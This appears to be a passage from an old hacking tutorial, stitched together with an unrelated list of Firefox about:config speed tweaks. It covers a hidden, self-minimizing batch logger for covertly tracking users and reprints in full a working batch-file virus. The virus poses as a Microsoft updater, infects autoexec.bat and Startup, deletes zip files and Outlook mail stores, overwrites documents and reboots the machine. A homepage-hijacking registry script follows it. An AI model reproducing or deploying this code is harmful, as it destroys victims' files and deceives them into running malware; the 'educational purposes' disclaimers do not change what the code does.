2. Creating the Log File

Now you need to create a text file, which actually will act like a log file and will log the activities of the User.

This log file will contain the filename and the time at which the .txt file was opened. Create a new blank text file in the same directory as the batch file. Now change the attributes of this log file and make it hidden by changing it's attributes by issuing the ATTRIB command.
---------------------------------------------------------------
C:\windows>attrib xyz.txt +h
---------------------------------------------------------------

This will ensure that a lamer will not know as to where the log file is located.

3. CODING THE LOGGING BATCH FILE

The coding of the actual batch file which will log the User's activities and post it on the web is quite simple. If you have read this tutorial properly till now, then you would easily be able to understand it, although I still have inserted comments for novices.

---------------------------------------------------------------
echo %1 >> xyz.txt /* Send the file name of the file opened to the log file, xyz.txt */

notepad %1 /* Launch Notepad so that the lamer does not know something is wrong. */

---------------------------------------------------------------

This logging file will only log the filename of the text file which was opened by the unsuspecting lamer, say you want to also log the time at which a particular file was opened, then you simply make use of the 'time' command. The only thing that one needs to keep in mind is that after giving the TIME command , we need to press enter too, which in turn has to entered in the batch file too.
Say you, who are the system administrator do not have physical access or have gone on a business trip, but have access to the net and need to keep in touch with the server log file, then you easily link the log file to a HTML file and easily view it on the click of a button. You could also make this part of the site password
protected or even better form a public security watch contest where the person who spots something fishy wins a prize or something, anyway the linking can easily be done by creating an .htm or. html file and inserting the ahref comand to root to your xyz.txt file.

Another enhancement that one could make is to prevent the opening of a particular file. Say if you want to prevent the user from launching abc.txt then you would need to insert an IF conditional statement.
---------------------------------------------------------------
IF "%1" == "filename.extension" ECHO Error Message Here
---------------------------------------------------------------

4. Enhancing The Logging Batch File To Escape The Eyes of the Lamer.

To enhance the functioning of our logging daemon, we need to first know it's normal functioning.

Normally, if you have followed the above steps properly, then each time a .txt file is opened, the batch file is launched(in a new window, which is maximized) and which in turn launches Notepad. Once the filename
and time have been logged, the batch file Window does not close automatically and the User has to exit from the Window manually. So maybe someone even remotely intelligent will suspect something fishy. We can configure our batch file to work minimized and to close itself after the logging process has been completed. To do this simply follow the following steps-:

a) Right Click on the Batch File.

b) Click on properties from the Pop up menu.

c) In the Program tab click on the Close on Exit option.

d) Under the same tab, under the RUN Input box select Minimized.

e) Click on Apply and voila the batch file is now more intelligent

This was just an example of a simple batch file program. You can easily create a more intelligent and more useful program using batch code.

The following is for educational purposes only. I will not be held responsible for any misuse of this information.

The following is a snippet of code by Ankit Fadia regarding Batch File Virii. Concentrate on this one and figure out its true potential. Yet again i will not be held responsible.

=====================================
MAKING YOUR OWN DEADLY BATCH FILE VIRUS: The atimaN_8 Batch File Virus

DISCLAIMER: This Virus was created by Ankit Fadia ankit@bol.net.in and is meant for educational purposes only. This Virus was coded to make people understand the basic concept of the Working of a Virus. Execute this Batch File at your own Risk. Any Damage caused by this file is not Ankit Fadia's fault. If you want any information regarding this Virus, do please feel free to contact me at: ankit@bol.net.in also visit my site at: http://www.crosswinds.net/~hackingtruths


The following is a simple but somewhat deadly (but quite lame)Batch File Virus that I created. I have named it, atimaN_8 I have used no advanced Batch or DOS commands in this virus and am sure that almost all you will have no problem understanding the code, If you still have trouble understanding the code, do mail me at ankit@bol.net.in


@ECHO OFF

CLS

IF EXIST c:\winupdt.bat GOTO CODE

GOTO SETUP

:SETUP

@ECHO OFF

ECHO Welcome To Microsoft Windows System Updater Setup

ECHO.

copy %0 c:\winupdt.bat >> NUL

ECHO Scanning System.....Please Wait

prompt $P$SWindows2000

type %0 >> c:\autoexec.bat

type %0 >> c:\windows\dosstart.bat

ECHO DONE.

ECHO.

ECHO Installing Components....Please Wait

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL

ECHO DONE.

ECHO.

ECHO You Now Need to Register with Microsoft's Partner: Fortune Galaxy to receive automatic updates.

PAUSE

ECHO Downloading Components...Please Wait

START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"

ECHO Setup Will Now restart Your Computer....Please Wait

ECHO Your System is now faster by almost 40%.

ECHO Thank you for using a Microsoft Partner's product.

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL

c:\WINDOWS\RUNDLL user.exe,exitwindowsexec

CLS

GOTO END





:CODE

CLS

@ECHO OFF

prompt $P$SWindows2000

IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC

type %0 >> c:\autoexec.bat

:ABC

type %0 >> c:\windows\dosstart.bat

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL

START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL

GOTO :END

CLS

:END

CLS



This was an example of a pretty lame batch file virus. We can similarly create a virus which will edit the registry and create havoc. This is just a thought, I am not responsible for what you do with this.

There is simply no direct way of editing the Windows Registry through a batch file. Although there are Windows Registry Command line options(Check them out in the Advanced Windows Hacking Chapter, they are not as useful as adding keys or editing keys, can be. The best option we have is to create a .reg file and then execute it through a batch file. The most important thing to remember hear is the format of a .reg file and the fact that the first line of all .reg files should contain nothing but the string REGEDIT4, else Windows wil not be able to recognize it as a registry file. The following is a simple example of a batch file which changes the home page of the User (If Internet Explorer is installed)

to http://hackingtruths.tripod.com



@ECHO OFF

ECHO REGEDIT4 >ankit.reg

ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg

ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg

START ankit.reg



Creating a .reg file is not as easy as it seems. You see, for Windows to recognize a file as a Registry file and for Windows to add the contents of the .reg file to the registry, it has to be in a particular recognizable format, else an error message would be displayed. I would not want to repeat, the entire Windows Registry File format here, as the Advanced Windows Hacking Manual has a huge section, specially dedicated to the Windows Registry.

=====================================

Till now we have seen how to create batch files both useful and harmful. Now the question is how do we protect ourselves from harmful Batch files. Even better .... how do we know whether a Batch file is harmful or not?

Read on and find out how ....


Protection from Batch File Viruses

If you double-click a batch file (.bat files) it will run automatically. This can be dangerous as batch files can contain harmful commands sometimes. Worst still, if you use the single-click option, one wrong click and it's goodbye Windows. Now most power users would like to set edit as the default action. The best way to do that is to go to Explorer's Folder Options' File View tab to change the modify the default action. However, to add insult to injury, when you arrive there, you will find that the Edit and Set Default buttons has been grayed out. This is a "feature" from Microsoft you might not appreciate.

To conquer our problem here, flare up your registry editor (Run >regedit ) and go to HKEY_CLASSES_ROOT\batfile\shell\open. Rename the open key to run, thus becoming HKEY_CLASSES_ROOT\batfile\shell\run. Double-click the EditFlags binary value in HKEY_CLASSES_ROOT\batfile and enter 00 00 00 00 as the new value. Now, open Explorer, click Folder Options from the View menu and select the File Types tab, scroll down to the "MS-DOS Batch File" item, highlight it and click Edit. You'll notice that the last three buttons (Edit, Remove and Set Default) are now enabled and that you can select Edit as the default action.

How To Double Mozilla Firefox Speed

Firefox is in my opinion the best browser ever made until now.

It includes:
  • improved tabbed browsing
  • pop up blocking
  • integrated Goggle search
  • enhanced privacy controls
  • built-in phishing protection
  • online spell checking
  • lots of themes, interfaces, and extensions/addons

Mozilla Firefox officially supports:
  • Microsoft Windows
  • Linux
  • Mac OS X

Unofficial Support:
  • Free BSD
  • OS/2
  • Solaris
  • SkyOS
  • BeOS
  • XP Professional x64 Edition


Now here are some Tips&Tricks that can help you double the speed of Firefox.

1. Type about:config in the address bar and then press Enter.

2. In the filter search bar type network.http.pipelining Be sure the value field is set true,if not double-click to set true. HTTP is the application-layer protocol that most web pages are transferred with. In HTTP 1.1, multiple requests can be sent before any responses are received. This is known as pipelining. Pipelining reduces page loading times, but not all servers support it.

3. Go back to the filter search bar and type network.http.pipelining.maxrequests Double-click this option and set its value to 8.

4. In the filter search bar and type network.http.proxy.pipelining Once opened doubleclick on it and set it to true.

5. In IPv6-capable DNS servers, an IPv4 address may be returned when an IPv6 address is requested. It is possible for Mozilla to recover from this misinformation, but a significant delay is introduced.
Type network.dns.disableIPv6 in the filter search bar and set this option to true by double clicking on it.

6. CONTENT INTERRUPT PARSING
This preference controls if the application will interrupt parsing a page to respond to UI events. It does not exist by default. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Boolean from the pop-up menu. Then:
A. Enter content.interrupt.parsing in the New boolean value pop-up window and click OK
B. When prompted to choose the value for the new boolean, select true and click OK.

7. Rather than wait until a page has completely downloaded to display it to the user, Mozilla applications will regularly render what has been received to that point. This option controls the maximum amount of time the application will be unresponsive while rendering pages. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Integer from the pop-up menu.
A. Enter content.max.tokenizing.time in the New integer value pop-up window and click OK
B. You will be prompted to enter a value. Enter 2250000 and click OK.

8. CONTENT NOTIFY INTERVAL
This option sets the minimum amount of time to wait between reflows. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Integer from the pop-up menu.
A. Type content.notify.interval in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 750000 and click OK.

9. CONTENT NOTIFY ONTIMER
A. This option sets if to reflow pages at an interval any higher than that specified by content.notify.interval. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Boolean from the pop-up menu.
B. Type content.notify.ontimer in the New boolean value pop-up window and click OK.
C. You will be prompted to choose the value for the new boolean. Select true and click OK.

10. Notify Backoffcount
This option controls the maximum number of times the content will do timer-based reflows. After this number has been reached, the page will only reflow once it is finished downloading. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter content.notify.backoffcount in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 5 and click OK.

11. CONTENT SWITCH THRESHOLD
You can interact with a loading page when content.interrupt.parsing is set to true. When a page is loading, the application has two modes: a high frequency interrupt mode and a low frequency interrupt mode. The first one interrupts the parser more frequently to allow for greater UI responsiveness during page load.
The low frequency interrupt mode interrupts the parser less frequently to allow for quicker page load. The application enters high frequency interrupt mode when you move the mouse or type on the keyboard and switch back to low frequency mode when you had no activity for a certain amount of time. This preference controls that amount of time. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter content.switch.threshold in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 750000 and click OK.

12. NGLAYOUT INITIALPAINT DELAY
Mozilla applications render web pages incrementally, they display what̢۪s been received
of a page before the entire page has been downloaded. Since the start of a web page
normally doesn̢۪t have much useful information to display, Mozilla applications will wait
a short interval before first rendering a page. This preference controls that interval. Rightclick (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter nglayout.initialpaint.delay in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 0 and click OK.